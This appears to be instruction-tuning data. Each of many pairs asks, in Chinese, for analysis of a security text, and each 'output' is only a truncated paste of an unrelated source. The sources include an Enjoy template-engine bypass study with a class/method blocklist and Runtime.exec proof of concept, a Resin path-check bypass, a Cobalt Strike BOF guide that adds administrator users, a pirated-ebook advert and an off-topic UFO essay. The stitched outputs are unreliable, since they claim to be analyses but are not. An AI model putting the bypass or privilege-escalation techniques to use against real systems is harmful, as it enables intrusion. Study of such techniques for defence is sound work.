Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

@Y4tacker
Enjoy模板引擎分析
前置
⾸先有关Enjoy模板引擎的⼀些描述可以看这⾥：https://jfinal.com/doc/6-1
⽂档中值得关注的点
属性访问触发get⽅法
在官⽅⽂档⾥⾯我们可以看到很多有趣的东西(当然我会更关注于⼀些相关的)，⽐如属性访问
的这⼀条描述，可以让我们去触发对象的get⽅法(前提是public修饰)
⽅法调⽤
由于模板引擎的属性取值表达式极为常⽤，所以对其在⽤户体验上进⾏了符合直觉的扩展，field 表
达式取值优先次序，以 user.name 为例：
如果 user.getName() 存在，则优先调⽤
如果 user 具有 public 修饰过的name 属性，则取 user.name 属性值（注意：jfinal 4.0
之前这条规则的优先级最低）
关于⽅法调⽤也有⼀些描述，说可以直接调⽤对象上的任何public⽅法，使⽤规则与java中调
⽤⽅式保持⼀致，当然也不是所有⽅法都能调⽤，在源码的调试过程当中发现有⼀些⽅法在
⿊名单当中
除此以外也有⿊名单类
getClass
wait
notifyAll
getClassLoader
invoke
notify
getDeclaringClass
removeForbiddenMethod
removeForbiddenClass
suspend
resume
loadLibrary
forName
newInstance
exit
halt
stop
java.lang.ThreadGroup
java.lang.ProcessBuilder
java.lang.System
java.lang.ClassLoader
java.lang.reflect.Proxy
java.lang.Runtime
java.lang.Thread
java.lang.Class
com.jfinal.template.expr.ast.MethodKit
java.io.File
java.lang.reflect.Method
java.lang.InheritableThreadLocal
java.lang.Process
因此也给了我们更多的限制
静态属性访问
来个例⼦就懂了
静态⽅法的调⽤
同时⽀持调⽤静态属性上的⽅法
引擎执⾏流程简单分析
java.lang.ThreadLocal
java.lang.Package
java.lang.SecurityManager
java.lang.Compiler
java.lang.RuntimePermission
#if(x.status == com.demo.common.model.Account::STATUS_LOCK_ID)
   <span>(账号已锁定)</span>
#end
#if(com.jfinal.kit.StrKit::isBlank(title))
   ....
#end
(com.jfinal.MyKit::me).method(paras)
以下不感兴趣可以直接略过，因为不需要⼀些很详细的分析就能bypass，只要我们知道过滤了
哪些类哪些⽅法针对绕过即可，这⾥权当⾃⼰好奇看看如何实现的，当然分析也只会主要去
看⼀些能让我成功实现执⾏不安全函数的⽅式(指的是 #() 与 #set() 两种)，根据对⽂档的阅
读，个⼈认为其他标签对于我意义不⼤，因为我如果能够执⾏⼀个命令我需要的是能够回显 #
() ，或者我不能通过⼀步执⾏需要通过 #set(a=xxx) 的⽅式去拆分保存变量做中转，因此
我在分析调试的过程当中只会针对这两个标签进⾏分析
为了独⽴分析这⾥引⼊了maven坐标
⼀个基本的使⽤很简单，为了⽅便调试我写了个很简单的类
⾸先由于默认未开启缓存，默认⾛第⼀个分⽀
<dependency>
  <groupId>com.jfinal</groupId>
  <artifactId>enjoy</artifactId>
  <version>4.9.21</version>
</dependency>
package com.example.ezsb;
public class User {
    public static void run(){
        try{
            Runtime.getRuntime().exec("open -na Calculator");
        }catch (Exception e){
        }
    }
}
Template template = engine.getTemplateByString("#
(com.example.e...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本电子书为某站收费 VIP
VIP
VIP
VIP 资源
由 灰鸽子网络资源分享社区 免费共享
灰鸽子网络资源分享社区,,,,致力为大家提供最新最全最优秀的网络资源！
论坛主要负责提供各类优秀视频，优秀书籍以及各类优秀源码资源。
网赚，编程，逆向，建站，安全这几个大方向。其中以 网赚，编程，逆向为主打方向。
http://www.huigezi.cc
http://www.huigezi.cc
http://www.huigezi.cc
http://www.huigezi.cc <<<< 近期论坛经常被某些收费站 DDOS
DDOS
DDOS
DDOS 攻击 >>>>
http://www.duominuo.cc
http://www.duominuo.cc
http://www.duominuo.cc
http://www.duominuo.cc <<<< 如果论坛无法访问，请尝试其他域名 >>>>
http://www.52dmn.com
http://www.52dmn.com
http://www.52dmn.com
http://www.52dmn.com <<<< 最好加群，第一时间获知论坛动向 >>>>
官方群： 55059882 ( 500 人群，未满 )
（千人群，暂不开放，500 人群满后再开放)：134624974
计算机精品学习资料大放送
软考官方指定教材及同步辅导书下载 | 软考历年真是解析与答案
软考视频 | 考试机构 | 考试时间安排
Java 一览无余：Java 视频教程 | Java SE | Java EE
.Net 技术精品资料下载汇总：ASP.NET 篇
.Net 技术精品资料下载汇总：C#语言篇
.Net 技术精品资料下载汇总：VB.NET 篇
撼世出击：C/C++编程语言学习资料尽收眼底 电子书+视频教程
Visual C++(VC/MFC)学习电子书及开发工具下载
Perl/CGI 脚本语言编程学习资源下载地址大全
Python 语言编程学习资料(电子书+视频教程)下载汇总
最新最全 Ruby、Ruby on Rails 精品电子书等学习资料下载
数据库精品学习资源汇总：MySQL 篇 | SQL Server 篇 | Oracle 篇
最强 HTML/xHTML、CSS 精品学习资料下载汇总
最新 JavaScript、Ajax 典藏级学习资料下载分类汇总
网络最强 PHP 开发工具+电子书+视频教程等资料下载汇总
UML 学习电子资下载汇总 软件设计与开发人员必备
经典 LinuxCBT 视频教程系列 Linux 快速学习视频教程一帖通
天罗地网：精品 Linux 学习资料大收集(电子书+视频教程) Linux 参考资源大系
Linux 系统管理员必备参考资料下载汇总
Linux shell、内核及系统编程精品资料下载汇总
UNIX 操作系统精品学习资料<电子书+视频>分类总汇
FreeBSD/OpenBSD/NetBSD 精品学习资源索引 含书籍+视频
Solaris/OpenSolaris 电子书、视频等精华资料下载索引
计算机精品学习资料大放送
软考官方指定教材及同步辅导书下载 | 软考历年真是解析与答案
软考视频 | 考试机构 | 考试时间安排
Java 一览无余：Java 视频教程 | Java SE | Java EE
.Net 技术精品资料下载汇总：ASP.NET 篇
.Net 技术精品资料下载汇总：C#语言篇
.Net 技术精品资料下载汇总：VB.NET 篇
撼世出击：C/C++编程语言学习资料尽收眼底 电子书+视频教程
Visual C++(VC/MFC)学习电子书及开发工具下载
Perl/CGI 脚本语言编程学习资源下载地址大全
Python 语言编程学习资料(电子书+视频教程)下载汇总
最新最全 Ruby、Ruby on Rails 精品电子书等学习资料下载
数据库精品学习资源汇总：MySQL 篇 | SQL Server 篇 | Oracle 篇
最强 HTML/xHTML、CSS 精品学习资料下载汇总
最新 JavaScript、Ajax 典藏级学习资料下载分类汇总
网络最强 PHP 开发工具+电子书+视频教程等资料下载汇总
UML 学习电子资下载汇总 软件设计与开发人员必备
经典 LinuxCBT 视频教程系列 Linux 快速学习视频教程一帖通
天罗地网：精品 Linux 学习资料大收集(电子书+视频教程) Linux 参考资源大系
Linux 系统管理员必备参考资料下载汇总
Linux shell、内核及系统编程精品资料下载汇总
UNIX 操作系统精品学习...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PLAYBACK: A TLS 1.3 STORY
WHO ARE WE?
Alfonso García Alguacil
Alejo Murillo Moya
INTRODUCING TLS 1.3
The Good
•
KISS – Only 5 ciphers supported
INTRODUCING TLS 1.3
The Good
•
No vulnerable to the attacks impacting
previous versions
INTRODUCING TLS 1.3
The Good
•
Welcome Forward Secrecy
INTRODUCING TLS 1.3
The Good
•
Formal security analysis performed to
the protocol
INTRODUCING TLS 1.3
The Bad
•
Protocol tainted due to “compatibility
issues” 
INTRODUCING TLS 1.3
The Ugly
•
0-RTT (this talk )
0-RTT: SPEED AT A COST
VS
Your browsers…
… and CDNs may
already be supporting
TLS 1.3 0-RTT!
… implementations …
BoringSSL
TLS 1.3 HANDSHAKE
TLS 1.3 HANDSHAKE
TLS 1.3 HANDSHAKE
TLS 1.3 HANDSHAKE
TLS 1.3 0-RTT
TLS 1.3 0-RTT
TLS 1.3 0-RTT
As you can see…
it may be possible to do REPLAY
REPLAY attacks!
REPLAY
REPLAY
REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Application profiles
ANTI-REPLAY PROTECTIONS
Application profiles
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Separate API
ANTI-REPLAY PROTECTIONS (JUL-2018)
Single-Use Tickets
0-RTT without
protections
Single-Use
Tickets
Client-Hello
Recording
Application
Profile
0-RTT not available
Different API for
handling 0-RTT
Other protections
0-RTT only on “safe”
methods
0-RTT only on “safe”
methods, no params
BoringSSL
Partial
(HTTP Header)
n/a
n/a
n/a
n/a
n/a
n/a
ANATOMY OF AN ATTACK
• Vantage point in the network
ANATOMY OF AN ATTACK
• Browser and server with TLS 1.3 and 0-RTT enabled
ANATOMY OF AN ATTACK
• GET not being a “safe method” (a.k.a. RFC meets reality)
THE BRO...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
Resin unicode
Resin⾥URI和参数名参数值都可以⽤unicode代替。
如图根⽬录存在b.jsp
使⽤http://127.0.0.1:8083/%u0062%u002e%u006a%u0073%u0070访问
注意到此处  getRequestURI() 依然为unicode编码以后的值，如果项⽬使⽤
getRequestURI() 对路径做权限校验，可使⽤这种⽅式绕过。
在泛微上试了⼀下这种⽅法发现会直接爆500，查看⽇志定位报错位置。
1.URI
2
WEB-INF/myclasses/weaver/security/filter/SecurityMain.class
Plain Text
复制代码
Xss(Exception):sw=java.lang.IllegalArgumentException: URLDecoder: Illegal
hex characters in escape (%) pattern - For input string: "u0"
  at java.net.URLDecoder.decode(URLDecoder.java:194)
  at java.net.URLDecoder.decode(URLDecoder.java:100)
  at weaver.security.core.SecurityCore.uriDecode(SecurityCore.java:8733)
  at weaver.security.core.SecurityCore.return404(SecurityCore.java:540)
  at weaver.security.filter.SecurityMain.process(SecurityMain.java:82)
  at sun.reflect.GeneratedMethodAccessor68.invoke(Unknown Source)
  at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorIm
pl.java:43)
  at java.lang.reflect.Method.invoke(Method.java:498)
  at weaver.filter.SecurityFilter.doFilterInternal(SecurityFilter.java:51)
  at
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerReques
tFilter.java:76)
  at
com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.ja
va:87)
  at
com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java
:187)
  at
com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.jav
a:265)
  at
com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:273)
  at com.caucho.server.port.TcpConnection.run(TcpConnection.java:682)
  at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730)
  at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649)
  at java.lang.Thread.run(Thread.java:748)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
3
跟⼊ return404
跟⼊ uriDecode
path为  req.getRequestURI() ，如果含有%就进⾏  URLDecoder url解码不了报错
想着能不能先unicode编码再url编码，测试发现不⾏，这样只会进⾏url解码匹配不到
Servlet，跟了下Resin源码。
com.caucho.server.dispatch.InvocationDe...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Advanced Netfilter; Content Replacement (ala
Snort_inline) and Port Knocking Based on p0f
DEFCON 12
Michael Rash
http:/ / www.cipherdyne.org
http:/ / www.enterasys.com /
08/ 01/ 2004
Introduction
● Iptables logging form at
● Passive OS fingerprinting with p0f
● What can iptables tell us?
● fwknop
● Iptables string m atch extension
● Snort_inline
● String replacem ent patch
● Netperf benchm arks
Iptables Logs
iptables - A INPUT - p tcp - i eth0 - j DROP - - log-
prefix “DROP “ - - log- tcp- options
Iptables Logs; Decoded IP header fields
● Source and destination IP addresses
● IP datagram  length
● Type of service
● TTL
● IP ID
● Fragm ent bits
● Protocol
Jul  8 03:06:12 orthanc kernel: DROP IN= eth0 OUT=
MAC= 00:a0:cc:28:42:5a:00:00:00:22:2d:42:00:00
SRC:192.168.10.3 DST:192.168.10.1 LEN= 60 TOS= 0x10
PREC= 0x00 TTL= 64 ID= 6854 DF PROTO= TCP
Iptables Logs; Decoded TCP header fields
● Source and destination ports
● TCP window siz e
● TCP flags
Jul  8 03:06:12 orthanc kernel: DROP IN= eth0 OUT=
MAC= 00:a0:cc:28:42:5a:00:00:00:22:2d:42:00:00
SRC:192.168.10.3 DST:192.168.10.1 LEN= 60 TOS= 0x10
PREC= 0x00 TTL= 64 ID= 6854 DF PROTO= TCP
SPT= 32788 DPT= 5500 WINDOW= 5840 RES= 0x00 SYN
URGP= 0
Iptables Logs; Encoded TCP header fields
● TCP options!!!     p0f depends on this.
Jul  8 03:06:12 orthanc kernel: DROP IN= eth0 OUT=
MAC= 00:a0:cc:28:42:5a:00:00:00:22:2d:42:00:00
SRC:192.168.10.3 DST:192.168.10.1 LEN= 60 TOS= 0x10
PREC= 0x00 TTL= 64 ID= 6854 DF PROTO= TCP
SPT= 32788 DPT= 5500 WINDOW= 5840 RES= 0x00 SYN
URGP= 0 OPT
(020405B40402080A006F1D8E0000000001030300)
TCP options; What does p0f Care About?
● MSS (Maxim um  Segm ent Siz e)
● Window scale
● Selective acknowledgem ent (perm itted bits)
● NOP
● Tim estam p
Encoding:  type (8 bits) /  total length (8 bits) /
value (n -  16 bits)
e.g.   020405b4 =  MSS /  4 bytes /  1460
Decoded TCP options
● OPT
(020405B40402080A00749E860000000001030300)
– MSS =  1460
– Selective Acknowledgem ent perm itted
– ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
bof⼩测
⼀个正常C程序，如何转换成bof⽂件，这⾥记录下过程
bof的原理实现就不多讲了，简单来说就是编译成⼀个object⽂件（COFF格式，exe是PE格式），然后
传输给beacon后在终端上完成链接过程，这也就导致bof⽂件⾮常⼩，⼀般只有⼏K。
参考
https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-3
在github有⼏个不错的开源项⽬，可以以此为模板进⼀步开发，⽽不需要完全重头开始。
https://github.com/trustedsec/CS-Situational-Awareness-BOF
https://github.com/securifybv/Visual-Studio-BOF-template
我是基于第⼀个项⽬开发，这个项⽬有很多已实现的案例，可作为参考。
SA⽬录就是编译成object的⽂件，⽤于直接提供cs使⽤
src是源码⽬录，除了已实现功能的源码，还提供了⼀个base_template作为模板。
编写bof代码
2
将base_template拷⻉⼀份到src/SA下，改成如useradd，BOFNAME也修改⼀下，⽅便发布。
3
然后看下核⼼代码部分，这⾥其实考虑到了两种使⽤场景了，bof提供cs使⽤，exe供独⽴使⽤，也⽅便
调试功能是否正常，编译的时候只需要带上-DBOF即可编译成bof。
bof和exe⼊⼝区别如下，exe固定是main函数⼊⼝，bof会由加载器扫描go函数的地址作为⼊⼝，当然
也可以是其他名字，默认是go。
4
bof编写，⼀般会导⼊⼀个beacon.h，有⼀些内置的函数提供，⽐如我要打印内容给teamsever显示，
就可以调⽤BeaconPrintf，其他函数和使⽤可参考这个官⽅链接
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/b
eacon-object-files_main.htm
接着就是编写功能了，⽐如添加⽤户，这⾥有个C项⽬，有现成代码。
https://github.com/newsoft/adduser
代码⽐较简单，调⽤NetUserAdd添加⽤户，然后调⽤  NetLocalGroupAddMembers 加
administrators组
5
但这些都是直接调⽤的win32api，如果看了上⾯提供的bof官⽅⽂档，就会知道这些api需要动态加载调
⽤，不像是PE⽂件有导⼊表，那官⽅提供了两种⽅法，⼀是调⽤loadlibrary等函数动态加载，⼆是动态
函数解析(DFR)，我这⾥选择后者，这个⽅便些。
6
在src\common\bofdefs.h添加宏定义，⽤于动态函数解析
并添加函数声明，⽤于外部调⽤
如上操作即可完成动态函数解析。然后在我们要编写的代码⾥替换成带有lib名称的函数即可。
C
复制代码
#define NETAPI32$NetUserAdd NetUserAdd
1
C
复制代码
WINBASEAPI DWORD WINAPI NETAPI32$NetUserAdd(LPCWSTR,DWORD,PBYTE,PDWORD);
1
7
繁琐的地⽅主要在于要查微软官⽅⽂档，然后才知道函数签名。
这个项⽬⾃动完成这个过程了，通过⼀个本地函数库获取函数签名，再通过微软在线查询该函数对应的
lib⽂件名是什么，拼接实现上⾯声明代码。
https://github.com/dtmsecurity/bof_helper
效果如下，然后最后⼀⾏复制到bofdefs.h⾥即可
把需要打印回显的位置替换成BeaconPrintf，bof的项⽬还做了⼀个封装，更⽅便使⽤，  internal_p
rintf
8
使⽤make bof尝试编译是否正常
然后⽤cs调⽤，可以正常加载，但有个问题，这样是⽆法传参的。
C
复制代码
inline-execute [dirpath]\useradd.x64.o
1
9
⽐如这样是⽆法传参的
看下go的⼊⼝解析参数代码，这个是参考其他功能的代码，cs内置⼀个datap数据类型，⽤于数据解
析，先调⽤BeaconDataParse将缓存放⼊parser，再通过BeaconDataExtract提取。
参看官⽅⼿册，提供了五种函数⽤于数据提取，也就是说数据类型也5种，int/char*/wchar_t*/short
等，那如果是命令⾏传递是不可能知道数据类型的。仔细看⽂档第⼀⾏，提示了，需要结合c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Copyright©2019 nao_sec All Rights Reserved.
1
Copyright©2019 nao_sec All Rights Reserved.
Who are we
• Shota Nakajima
• Malware Analyst
• Engage in incident response
• Work at Cyber Defense Institute, Inc. in Japan
• Rintaro Koike
• Chief researcher / founder of nao_sec
• Threat Hunter
• Malicious traffic / script / document analyst
• Especially Drive-by Download attack
2
Copyright©2019 nao_sec All Rights Reserved.
Public Service for Hunting
• VirusTotal
• Private API
• Yara (Live & Retro Hunt)
• Hybrid Analysis
• Yara (Retro Hunt)
• ATT&CK Tactic & Technique
• ANY.RUN
• ATT&CK Technique
• Suricata SID
3
Copyright©2019 nao_sec All Rights Reserved.
VirusTotal Private API
• Our queries
• maldoc(0 < positive) submitter JP
• suspicious(0 < positive) zip submitter JP
• suspicious(0 < positive) lnk submitter JP
• suspicious(0 < positive) rtf submitter JP
• email submitter JP
4
Copyright©2019 nao_sec All Rights Reserved.
VirusTotal Private API
• Engines
• if you want hunt specified family
5
Copyright©2019 nao_sec All Rights Reserved.
VirusTotal Livehunt
• Have been set following rules
• CVE_2018_0798
• CVE_2017_11882
• CVE_2018_0802
• CVE_2018_20250
6
Copyright©2019 nao_sec All Rights Reserved.
Hybrid Analysis
7
Copyright©2019 nao_sec All Rights Reserved.
Hybrid Analysis
8
Copyright©2019 nao_sec All Rights Reserved.
ANY.RUN
9
Copyright©2019 nao_sec All Rights Reserved.
T1170 - Mshta
10
Copyright©2019 nao_sec All Rights Reserved.
Gorgon Group
11
Copyright©2019 nao_sec All Rights Reserved.
T1085 – Rundll32
12
Copyright©2019 nao_sec All Rights Reserved.
OceanLotus
13
Copyright©2019 nao_sec All Rights Reserved.
T1137 - Office Application Startup
14
Copyright©2019 nao_sec All Rights Reserved.
Tick
15
Copyright©2019 nao_sec All Rights Reserved.
TA544
16
Copyright©2019 nao_sec All Rights Reserved.
TA544
• Attack by TA544 (Cutwail-A / invoice) Group
• Maldoc disguised as a purchase order, bill etc...
• The purpose is to infect Ursnif and steal user information
• Attack campaign ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

How to Build Your Very Own Sleep Lab:
The Execution
Presented by:
Keith Biddulph & Ne0nRa1n
Overview
What does it do?
We're collecting data for later interpretation:
Electroencephalogram (EEG)
Heart rate monitor (HRM)
Electronic Ocular Monitor (EOM)
Infrared pictures
Overview
What does it not do?
Breathing measurements
Skin response on face
Why not?
Restless leg and apnea are obvious to an outside
observer
Overview
A series of devices connected to an ordinary
desktop PC:
ModularEEG implementation of the
OpenEEG project
Interfaces with a desktop PC via RS 232 serial port
Homebrew microcontroller (Atmel Atmega128)
device to collect other signals
Also Interfaces with a desktop PC via serial port
USB Webcam modded to see only IR
Hardware overview
OpenEEG overview
Microcontroller data collection device
Sensor choice
ModularEEG from OpenEEG project
Cheap ($<200 to build)
Well tested (Initial release in 2003)
Prebuilt PCBs available
Open Source
Needed to detect stage of sleep
Sensor choice
Wireless heartrate monitor by Oregon Scientific
Super cheap off of eBay ($<20)
Signal to find was relatively simple
Needed to verify that monitored user is calm
Sensor choice
EOM – Fairchild QRB1134
Very cheap
Well documented
Simple
Used to verify REM
Construction pitfalls
ModularEEG – Buy it preassembled!
Took hours of cramped soldering
Easy to make solder bridges or short to ground plane
Easy to put ICs in backwards
Does not include a power supply
Construction highlights
On the fly construction:
Op-amp for HRM to boost signal from 1Vpp to
5vpp
Adding first-order filters to remove noise from
incoming circuits
Finding new and interesting uses for soldering
irons
Initial Data
We plugged theEEG in and nothing caught on
fire!
EEG capture when subject
was asked about their
favourite topic
Initial Data
HRM and EOM verified to be working:
Initial Data
Disclaimer:
We are not doctors, nor do we pretend to be
It is rare, but possible to give yourself an electric
shock with this equipme...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

After 35 years of serious investigation, exploration, and reflection, engaged with the best
researchers in the field, it was time to make as succinct and clear a statement as I could,
within the constraints of 1200 words for the Crossroads section in the Sunday Milwaukee
Journal Sentinel.
It was also a way for a mainstream newspaper, the winner of many awards, to implicitly
suggest that the subject is more than tabloid fodder.
http://www.jsonline.com/news/opinion/out-of-the-closet-on-ufos-b99203753z1-
245623181.htmlhttp://www.jsonline.com/news/opinion/out-of-the-closet-on-ufos-
b99203753z1-245623181.html
A Confession: Out of the Closet on UFOs - February 16 2014
Let me put it to you straight. For 35 years I have been exploring and investigating UFOs
and UFOlogy (both the serious endeavor and the silly speculative fare that fills popular
culture) and ... well, UFOs are real: They fly, they evince technologies we don’t
understand, and they have been around for years.
Above all, despite voluminous and overwhelming evidence to support those assertions, to
raise this subject as worthy of historical and scientific investigation is to invite ridicule,
the shaking of pitying heads, derision and hostility, and embarrassed silence.
Still, I persist in believing, as Francis Bacon said in 1620, that if something deserves to
exist, it deserves to be known, not rejected out of hand with prejudice. The scientific
method, principles of historical analysis, and an open mind ask that much.
No subject has been more marginalized and maligned than this topic. By “unidentified
flying objects” I mean not the many things commonly mistaken for them – balloons,
Venus, sprites, ball lightning, secret craft, etc.– I mean anomalous vehicles which for
decades have been well documented by credible observers (“Credible people have seen
incredible things,” said General John Samford, US Air Force Chief of Intelligence, in
1953), to which our government responded with the...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The BeEF addons discussed in our talk, Hacking Google Chrome OS, are available at:
http://kyleosborn.com/chrome/


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Overview
Key Findings
Recommendations
Software engineering leaders focused on software engineering strategies should work with their
security and risk counterparts to:
Licensed for Distribution
How Software Engineering Leaders Can Mitigate
Software Supply Chain Security Risks
Published 15 July 2021 - ID G00752454 - 19 min read
By Manjunath Bhat, Dale Gardner, and 1 more
Attackers are targeting software development systems, open-source artifacts and DevOps
pipelines to compromise software supply chains. Software engineering leaders must guide
their teams to protect the integrity of the software delivery process by adopting practices
described in this research.
The increased threats of malicious code injection makes it critical to protect internal code and
external dependencies (both open-source and commercial).
■
Leaked secrets or other sensitive data and code tampering prior to release are consequences
of a compromised software build and delivery pipeline.
■
Failure to enforce least privilege entitlements and ﬂat network architectures enables attackers
to move laterally against the operating environment, putting the enterprise at greater risk.
■
Protect the integrity of internal and external code by enforcing strong version-control policies,
using artifact repositories for trusted content, and managing vendor risk throughout the
delivery life cycle.
■
Harden the software delivery pipeline by conﬁguring security controls in CI/CD tools, securing
secrets and signing code and container images.
■
Secure the operating environment for software engineers by governing access to resources
using principles of least privilege and a zero-trust security model.
■
Strategic Planning Assumption
By 2025, 45% of organizations worldwide will have experienced attacks on their software supply
chains, a three-fold increase from 2021.
Introduction
Software engineering leaders are at the forefront of digital business innovation. They are
responsible not only for software development and de...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
Attacking Autonomic Networks
2
Agenda
o
o
o
o
3
Autonomic Systems
o
o
4
Autonomic Network
o
o
o
o
credits
5
Live Demo
6
Demo Results
o
o
o
7
Cisco Deployment
o
o
o
o
8
Channel Discovery
o
o
9
Adjacency Discovery
o
o
o
o
o
10
Adjacency Discovery
I support network/domain X
I am part of domain <domain name>
Registrar
Enrollee
Registrar domain certificate
Generate 3072-
RSA key
Send public key
Enrollee domain certificate
11
Secure Channel
o
o
o
o
o
o
o
12
Registrar Configuration
autonomic registrar
domain-id ERNW.de
whitelist flash:whitelist.txt
CA local
no shut
autonomic
13
Enrollee Configuration
o
o
o
o
autonomic
14
Autonomic Effect
o
o
o
o
o
o
o
15
Are you in Control?
16
Autonomic Network: Under The Hood
17
Channel Discovery
18
Channel Discovery
19
Channel Discovery
20
Channel Discovery
21
Channel Discovery
22
Channel Discovery
23
Channel Discovery
24
Channel Discovery
25
Adjacency Discovery
26
Adjacency Discovery
27
Adjacency Discovery
28
Adjacency Discovery
29
Adjacency Discovery
30
Adjacency Discovery
31
Adjacency Discovery
32
Adjacency Discovery
33
Adjacency Discovery
34
Adjacency Discovery
35
Adjacency Discovery
36
Adjacency Discovery
37
Adjacency Discovery
38
Adjacency Discovery
39
Secure Channel
o
o
o
😉
40
41
Is it Secure?
42
Live Chat
Support
43
Live Chat
Support
Me:
Hi, I connected 2 nodes from 2 different domains and they built the secure channel!
44
Live Chat
Support
Me:
Hi, I connected 2 nodes from 2 different domains and they built the secure channel!
Support:
….
45
Live Chat
Support
Me:
Hi, I connected 2 nodes from 2 different domains and they built the secure channel!
Support:
Thanks for reporting, we created BugID CSCvd15717. We will check with the BU for that
46
Live Chat
Support
Me:
Hi, I connected 2 nodes from 2 different domains and they built the secure channel!
Support:
Hi, the BU responded that as both have a certificate signed by same CA, then they can
connect.
47
Live Chat
Support
Me:
Hi, I connected 2 nodes from 2 different domains an...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Time Turner
Hacking RF Attendance Systems
(To Be in Two Places at Once)
DEMO 1
?
?
?
Jacob Glueck
Ammar Askar
Aaron Wisner
Charles Cao
Prof. Bruce Land
(Advisor)
Cole Smith
https://github.com/wizard97/iSkipper
https://github.com/charlescao460/iSkipper-Software
(Transposition Cipher)
(Transposition Cipher)
Device ID Checksum:
8F941803
0x8F ⊕ 0x94 ⊕ 0x18 = 0x03
https://github.com/VCNinc/Time-Turner
https://github.com/VCNinc/Time-Turner
DEMO 2
DEMO 3
“Time Turner” Protocol
1.
Remain idle until the class is about to begin
2.
Turn on and start emulating both a remote and a base station
3.
Wait until device overhears a burst of radio traﬃc
4.
Determine most popular student response using base station emulator
5.
Broadcast most popular response from remote emulator
6.
Repeat 2-5 until the expected end time of the class
DEMO 4
DEMO 5
DEMO 6
Authentication
Authentication
An authentication mechanism can be:
Authentication
An authentication mechanism can be:
1.
Something you know (eg. passwords)
Authentication
An authentication mechanism can be:
1.
Something you know (eg. passwords)
2.
Something you have (eg. U2F keys)
Authentication
An authentication mechanism can be:
1.
Something you know (eg. passwords)
2.
Something you have (eg. U2F keys)
3.
Something you are (eg. biometrics)
Authentication
An authentication mechanism can be:
1.
Something you know (eg. passwords)
2.
Something you have (eg. U2F keys)
3.
Something you are (eg. biometrics)
4.
Polling devices???
Kerckhoffs's Principle
A system should be secure even if everything except the key is public knowledge.
Kerckhoffs's Principle
A system should be secure even if everything except the key is public knowledge.
Kerckhoffs's Principle
A system should be secure even if everything except the key is public knowledge.
CIA Properties
CIA Properties
●
Conﬁdentiality
CIA Properties
●
Conﬁdentiality
●
Integrity
CIA Properties
●
Conﬁdentiality
●
Integrity
●
Availability
CIA Properties
●
Conﬁdentiality
●
Integrity
●
Availability
C...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MASTER THESIS
Thesis submitted in partial fulfillment of the requirements
for the degree of Master of Science in Engineering at the
University of Applied Sciences Technikum Wien –
Degree Program IT-Security
Variation analysis of exploitable
browser vulnerabilities
By: René Freingruber, BSc
Student number: 1810303034
Supervisors:
1. Supervisor: Dipl.-Ing. (FH) Mag. DI Christian Kaufmann
2. Supervisor: Patrick Wollgast, MSc
Vienna, 2020-09-13
Declaration
“As author and creator of this work to hand, I confirm with my signature knowledge of the
relevant copyright regulations governed by higher education acts (see  Urheberrechtsgesetz
/Austrian copyright law as amended as well as the Statute on Studies Act Provisions /
Examination Regulations of the UAS Technikum Wien as amended).
I hereby declare that I completed the present work independently and that any ideas,
whether written by others or by myself, have been fully sourced and referenced. I am aware
of any consequences I may face on the part of the degree program director if there should
be evidence of missing autonomy and independence or evidence of any intent to fraudulently
achieve a pass mark for this work (see Statute on Studies Act Provisions / Examination
Regulations of the UAS Technikum Wien as amended).
I further declare that up to this date I have not published the work to hand nor have I
presented it to another examination board in the same or similar form. I affirm that the version
submitted matches the version in the upload tool.”
Place, Date
Signature
3
Kurzfassung
Web Browser zählen zu den am häufigsten verwendeten Programmen auf Computern und
Smartphones. Sie stellen daher ein attraktives Angriffsziel für staatliche Akteure und
finanziell motivierte Hacker dar.
Obwohl marktführende Browser eine Vielzahl an modernen Schutzmaßnahmen
implementieren, kann regelmäßig demonstriert werden, dass Schwachstellen dennoch
ausgenutzt und Systeme von Opfern, ohne deren Wisse...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
针对Dynamic Link Library(DLL)攻击⼿法的深⼊
分析
1.Dynamic Link Library基础知识
1.1.DLL的结构
1.2加载DLL
1.2.1显式加载
1.2.2隐式加载
1.3.win常⽤dll及其功能简介
1.4.DLL如何加载
2.DLL劫持可能发⽣的⼏个场景
2.1.场景1:可以直接劫持某个应⽤的DLL
2.2.场景2:不存在DLL 劫持
2.3.场景3:DLL 搜索顺序劫持
2.4.其他
3.常⻅的DLL攻击利⽤⼿法
